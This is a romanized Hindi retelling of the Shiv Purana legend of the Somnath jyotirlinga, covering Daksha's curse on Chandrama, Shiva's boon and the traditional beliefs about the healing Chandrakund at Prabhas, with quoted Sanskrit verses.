pauranik varnan

shiv puran ke anusar dvadash jyotirliang mean somanath ki ganana pratham hai. inake avirbhav ka prakaran prajapati daksh aur chandrama ke sath ju da hai. jab prajapati daksh ne apani ashvini adi sabhi sattais putriyoan ka vivah chandrama ke sath kar diya, to ve bahut prasann hue. patni ke roop mean daksh kanyaoan ko prapt kar chandrama bahut shobhit hue aur dakshakanyaean bhi apane svami ke roop mean chandrama ko prapt kar shobhayaman ho uthi. chandrama ki un sattais patniyoan mean rohini unhean atishay priy thi, jisako ve vishesh adar tatha prem karate the. unaka itana prem any patniyoan se nahian tha. chandrama ki udasinata aur upeksha ka dekhakar rohini ki apeksha shesh striyaan bahut duahkhi huee. ve sabhi striyaan apane pita daksh ki sharan mean gayian aur unase apane kashtoan ka varnan kiya. apani putriyoan ki vyatha aur chandrama ke durvyavahar ko sunakar daksh bhi b de duahkhi hue. unhoanne chandrama se bheant ki aur shantipoorvak kaha- ‘kalanidhe! tumane nirmal v pavitr kul mean janm liya hai, phir bhi tum apani patniyoan ke sath bhedabhavapoorn vyavahar karate ho. tumhare ashray mean rahane vali jitani bhi striyaan haian, unake prati tumhare man mean prem kam aur adhik, aisa sautela vyavahar kyoan hai? tum kisi ko adhik pyar karate ho aur kisi ko kam pyar dete ho, aisa kyoan karate ho? ab tak jo vyavahar kiya hai, vah thik nahian hai, phir ab age aisa durvyavahar tumhean nahian karana chahie. jo vyakti atmiyajanoan ke sath vishamatapoorn vyavahar karata hai, usenarakamean jana p data hai.’ is prakar prajapati daksh ne apane damad chandrama ko premapoorvak samajhaya aur aisa soch liya ki chandrama mean sudhar ho jaega. usake bad prajapati daksh vapas chale gaye. thumb|250px|left|somanath mandir

shiv mahapuran ke kotirudr sanhita ke chaudahavean adhyay mean likha hai-

vimale ch kule tvan hi samutpannah kalanidhe.
ashriteshu ch sarveshu nyoonadhikyan kathan tav..
kritan chetatkritan tachchh n karttavyan tvaya punah.
vartanan vishamatven narakapradamiritamh..

prabal bhavi ke karan vivash chandrama ne apane sasur prajapati daksh ki bat nahian mani. rohini ke prati atishay asakti ke karan unhoanne apane karttavy ki avahelana ki tatha apani any patniyoan ka kuchh bhi khyal nahian rakha aur un sabhi se udasin rahe. dubara samachar prapt kar prajapati daksh b de duahkhi hue. ve punah chandrama ke pas akar unhean uttam niti ke dvara samajhane lage. daksh ne chandrama se nyayochit bartav karane ki prarthana ki. bar-bar agrah karane par bhi chandrama ne avahelanapoorvak jab daksh ki bat nahian mani, tab unhoanne shap de diya. daksh ne kaha ki mere agrah karane par bhi tumane meri avajna ki hai, isalie tumhean kshayarog ho jay-

shrayataan chandr yatpoorv prarthito bahudha maya.,
n manitan tvaya yasmattasmattvan ch kshayi bhav..

shiv ka varadan

bhagavan shiv ne kaha– 'chandradev! tumhari kal pratidin ek paksh mean kshin hua karegi, jabaki doosare paksh mean pratidin vah nirantar badhati rahegi. is prakar tum svasth aur lok-samman ke yogy hi jaoge. bhagavan shiv ka kripa-prasad prapt kar chandradev bahut prasann hue. unhoanne bhaktibhavapoorvak shankar ki stuti ki. aisi sthiti mean nirakar shiv unaki dridh bhakti ko dekhakar sakar liang roop mean prakat ho gaye tatha prabhas kshetr ke mahattv ko badhane hetu devataoan ke samman tatha chandrama ke yash ka vistar karane ke lie svayan ‘someshvar’ kahalane lage. chandrama ke nam par somanath bane bhagavan shiv sansar mean ‘somanath’ ke nam se prasiddh hue. thumb|250px|somanath mandir

dharmik manyata

somanath bhagavan ki pooja aur upasana karane se upasak bhakt ke kshay tatha kodh adi rog sarvatha nasht ho jate haian aur vah svasth ho jata hai. yashasvi chandrama ke karan hi someshvar bhagavan shiv is bhootal ko param pavitr karate hue prabhas kshetr mean virajate haian. us prabhas kshetr mean sabhi devataoan ne milakar ek somakund ki bhi sthapana ki hai. aisa vishvas kiya jata hai ki is kund mean shiv tatha brahma ka sada nivas rahate haian. is prithvi par yah chandrakund manushyoan ke pap nash karane vale ke roop mean prasiddh hai. ise ‘papanashak-tirth’ bhi kahate haian. jo manushy is chandrakund mean snan karata hai, vah sab prakar ke papoan se mukt ho jata hai. is kund mean bina naga kiye chhah mah tak snan karane se kshay adi duahsadhy aur asadhy rog bhi nasht ho jate haian. munashy jis kisi bhi bhavana ya ichchha se is param pavitr aur uttam tirth ka sevan karata hai, to vah bina sanshay hi use prapt kar leta hai. shiv mahapuran ki kotirudr sanhita ke chaudahavean adhyay mean uparyukt ashay varnit hai-

chandrakundan prasiddh ch prithivyaan papanashanamh.
tatr snati naro yah s sarveah papaiah pramuchyate..
rogaah sarve kshayadyashch hvasadhya ye bhavanti vai.
te sarve ch kshayan yanti shanmasan snanamatratah..
prabhasan ch parikramy prithivikramasan bhavamh.
phalan prapnoti shuddhatma mritah svarge mahiyate..
somaliang naro drashta sarvapapatpramuchyate .
labdhava phalan manobhishtan mritah svargan samihate..
